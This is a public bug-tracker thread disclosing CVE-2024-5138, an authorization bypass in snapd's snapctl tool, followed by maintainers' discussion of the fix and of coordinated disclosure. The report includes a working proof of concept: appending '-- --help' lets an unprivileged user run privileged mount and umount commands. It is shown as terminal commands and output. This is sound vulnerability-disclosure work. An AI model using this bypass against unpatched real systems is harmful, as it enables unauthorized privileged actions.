Security: snapd snapctl Auth Bypass

Bug #2065077 reported by Rory McNamara
268
This bug affects 1 person
Affects Status Importance Assigned to Milestone
snapd
Fix Committed
Critical
Zygmunt Krynicki

Bug Description

Hi

I am writing to you from the Security Labs team at Snyk to report some security issues affecting snapd which we identified during a recent research project.

We have identified a vulnerability which can result in authorization bypass in the snapctl tool.

**Description**
When performing the authorization check of the snapctl tool (such as when performing snapctl mount inside a snap), the code will check for the presence of the ‘-h’ or ‘--help’ arguments in the arguments array and, if present, bypass the requirement for the correct authorization (which will be uid 0 in the normal case) [1].

This argument check does not take into account the context of the parameter, and in some cases the parameter may be ignored by the standard argument parsing. The following output shows the difference in parsing when the ‘--’ argument is also passed, usually used to indicate the end of command line options:

$ snapctl mount
error: cannot use "mount" with uid 1000, try with sudo
$ snapctl mount --help
Usage:
  snapctl [OPTIONS] mount [mount-OPTIONS] <what> <where>
[snipped for brevity]
$ snapctl mount -- --help
error: error running snapctl: the required argument `<where>` was not provided

As can be seen, by including ‘-- --help’ the authorization check seen in the first line is bypassed, but the help text is not displayed, and the standard parsing of the ‘mount’ tool is performed.

I have included a full proof of concept exploiting this issue to perform a privileged action below, however due to the limitations of the snapctl tool I was not able to exploit this issue in a meaningful way to perform privilege escalation or similar.

[1] https://github.com/snapcore/snapd/blob/58dfc18843555c4dba20ba61a778561396baccca/overlord/hookstate/ctlcmd/ctlcmd.go#L183-L193

**Proof of Concept**
The following proof of concept shows the bypass of the authorization check for the ‘umount’ and ‘mount’ commands, successfully performing the umount and mount actions as an unprivileged user (uid 1000). Note that the only difference between the unsuccessful (i.e. lines which error ‘cannot use … with uid 1000) and successful lines is the addition of ‘-- --help’.

rory@ubuntu2404release:~$ snap --version
snap 2.62+24.04build1
snapd 2.62+24.04build1
series 16
ubuntu 24.04
kernel 6.8.0-31-generic
rory@ubuntu2404release:~$ snap run --shell firefox
rory@ubuntu2404release:/home/rory$ mount | grep hunspell
/dev/sda2 on /var/snap/firefox/common/host-hunspell type ext4 (ro,noexec,noatime)
/dev/sda2 on /var/lib/snapd/hostfs/var/snap/firefox/common/host-hunspell type ext4 (ro,noexec,noatime)
rory@ubuntu2404release:/home/rory$ snapctl umount /var/snap/firefox/common/host-hunspell
error: cannot use "umount" with uid 1000, try with sudo
rory@ubuntu2404release:/home/rory$ snapctl umount /var/snap/firefox/common/host-hunspell -- --help
rory@ubuntu2404release:/home/rory$ mount | grep hunspell
rory@ubuntu2404release:/home/rory$ snapctl mount -oro,bind,noatime,noexec /usr/share/hunspell /var/snap/firefox/common/host-hunspell
error: cannot use "mount" with uid 1000, try with sudo
rory@ubuntu2404release:/home/rory$ snapctl mount -oro,bind,noatime,noexec /usr/share/hunspell /var/snap/firefox/common/host-hunspell -- --help
rory@ubuntu2404release:/home/rory$ mount | grep hunspell
/dev/sda2 on /var/lib/snapd/hostfs/var/snap/firefox/common/host-hunspell type ext4 (rw,relatime)
/dev/sda2 on /var/snap/firefox/common/host-hunspell type ext4 (rw,relatime)

**Suggested Fix**
If possible, use the same argument parsing library which is used by the tool elsewhere. This will ensure that the context of -h/–help is consistent.

We aim to follow an industry standard 90 day disclosure process, we hope that you are able to align with this and release a fix for this vulnerability where applicable in this time frame.

If you have any further questions, or would like assistance in mitigating or retesting these vulnerabilities, please let me know.
Thanks,
Rory McNamara

CVE References

Revision history for this message
Seth Arnold (seth-arnold) wrote :

Hi Rory, thanks for the excellent report. We'll investigate and get back to you.

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

I’ve picked this up after discussing with Alex internally

Changed in snapd:
status: New → In Progress
assignee: nobody → Zygmunt Krynicki (zyga)
importance: Undecided → Critical
Revision history for this message
Zygmunt Krynicki (zyga) wrote :

I had a look at the code and apart from the parsing bug, which is not great, we are still somewhat protected by the fact that we only allow to perform the sort of operation (mount is just an example, other operations exposed thruogh snapctl are equally affected), by additional layer of checks that looks for the matching interface connection.

Since I'm at a conference now my focus is limited. I will try to provide a fix tomorrow and ensure I didn't miss anythnig which would raise the severity of the exploit.

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

I have a fix locally and I'm working through the process of how to handle the pull request.

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

I've shared the patch with Alex for review. We need to improve our GitHub security process but I don't want to couple this with fixing this today.

Revision history for this message
Mark Esler (eslerm) wrote :

Please refer to this issue as CVE-2024-5138.

Revision history for this message
Zygmunt Krynicki (zyga) wrote :
Revision history for this message
Zygmunt Krynicki (zyga) wrote :
Revision history for this message
Alex Murray (alexmurray) wrote :

Thanks for the spread test @zyga - I was initially confused by the

echo 'snapctl ...' | not tests.session

invocation since I read it as 'echo this thing' and on failure run snap run --shell ... - so I wonder if it would be possible to rewrite it with a more explicit invocation of snap run --shell (note the following suggestion is entirely untested):

not tests.session -u test exec snap run --shell test-snapd-sh.sh -e 'snapctl umount /var/snap/test-snapd-sh/common/alsa -- --help'

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

Thank you for the review Alex! I had a look at doing this without passing stdin but it seems not to be possible as we erase remaining arguments in shell mode: https://github.com/snapcore/snapd/blob/master/cmd/snap-exec/main.go#L227

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

After some more digging I realized that snap-exec is doing a bit more. Attaching revised patch.

Revision history for this message
Alex Murray (alexmurray) wrote :

Awesome - thanks @zyga, looks great!

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

We've created a github advisory https://github.com/snapcore/snapd/security/advisories/GHSA-p9v8-q5m4-pf46 that is liked back to this issue and the CVE.

Dear reporter, to be credited there we need to confirm your GitHub username: can you please clarify if that is "psychomario"?

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

Alex: there's now a private PR https://github.com/snapcore/snapd-ghsa-p9v8-q5m4-pf46/pull/1 with the two patches.

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

@zyga My GitHub username is rmcnamara-snyk, thanks! (psychomario is my personal username)

Revision history for this message
Mark Esler (eslerm) wrote :

@zygra, please add me to the GitHub issue: eslerm

@zygra, @alexmurray, when you have chosen a date to release the patches please share it here to give Rory a heads up. Often reporters wish to coordinate releasing an analysis blog post or similar. 24 hours is usually enough of a heads up.

@rmcnamara-snyk, how would you like to be attributed in the CVE publication data?

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

I have no permission to do that. I've asked Ernest to add you.

Once the PR is approved should we wait with the merge to hit the coordinated release date? If so please be mindful of the fact that we cannot release immediately, and usually once a test tarball is up, it takes 2-3 weeks for QA and certification to give us a green light.

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

@eslerm Could I be attributed as "Rory McNamara from Snyk Security Labs" please?

Revision history for this message
Mark Esler (eslerm) wrote :

@rmcnamara-snyk: Can do!

@zygra: Good question. Generally I let projects set and coordinate around their embargo policy. I asked Canonical Security and they said this was okay to post.

Are the patches publicly available during the 2-3 weeks of QA and certification?

Some consider releasing patches as breaking embargo and others consider public announcement as breaking embargo. VINCE allow this type of "silent patching" but, does not advocate for it. It's never ideal, but may be practical. If tooling for QA and certification were private the policy could be tighter.

Snyk may require coordination timing. It takes a lot of labor to audit software and report issues. If Snyk plans to publish an analysis of a report, we can help to maximize the benefit of the post.

My preference is to release security announcements as soon as possible to protect users. Ideally, Snyk could agreee to less than 24 hours notice to publish a blog post (say, 1 hours advanced notice?). Allowing 24 hours seems fair to the reporter and (longterm) user security.

To speed things up, If you are certain that tests will finish by a certain date, you could set a Coordinated Release Date (CRD) if Snyk agrees to changing the CRD if tests/QA fail.

@rmcnamara-snyk: How much advanced notice does Snyk require? Thank you.

Revision history for this message
Rory McNamara (rmcnamara-snyk) wrote :

@eslerm: For this specific issue we don't plan on publishing a blog post, so no particular notice is requested on our side. Thank you for the consideration however.

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

We are working on an improved process where we can make an entirely private snapd build so that we can start the QA process without releasing the patches. Otherwise our prior approach was to land the patches that fix a bug but not make it clear that a security issue is being addressed, and only clarify they were associated with a CVE after everything is released.

@Eslerm please coordinate with @Ernest on our team with regards to the private process.

Revision history for this message
Mark Esler (eslerm) wrote :

Great, thanks @rmcnamara-snyk and @zyga!

Zygmunt Krynicki (zyga)
Changed in snapd:
status: In Progress → Fix Committed
Revision history for this message
Mark Esler (eslerm) wrote :

@zygra please give me a heads up before the patch is made public. I would like to publish the CVE at the same time.

Revision history for this message
Zygmunt Krynicki (zyga) wrote :

I was not the one responsible for merging it but I think it did get merged recently. Please check with Ernest.

Revision history for this message
Mark Esler (eslerm) wrote :

@zygra I should have said ready to make this public, not when the patches are made public.

Since the commit states that this is a security issue, by including a GHSA, I'm going to publish the CVE and make this bug public.

https://github.com/snapcore/snapd/commit/68ee9c6aa916ab87dbfd9a26030690f2cabf1e14

Revision history for this message
Mark Esler (eslerm) wrote :

CVE published: https://www.cve.org/CVERecord?id=CVE-2024-5138

Making bug public.

information type: Private Security → Public Security
Revision history for this message
Mark Esler (eslerm) wrote :

A huge thank you to Rory McNamara and Snyk Security Labs for reporting this \o/

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.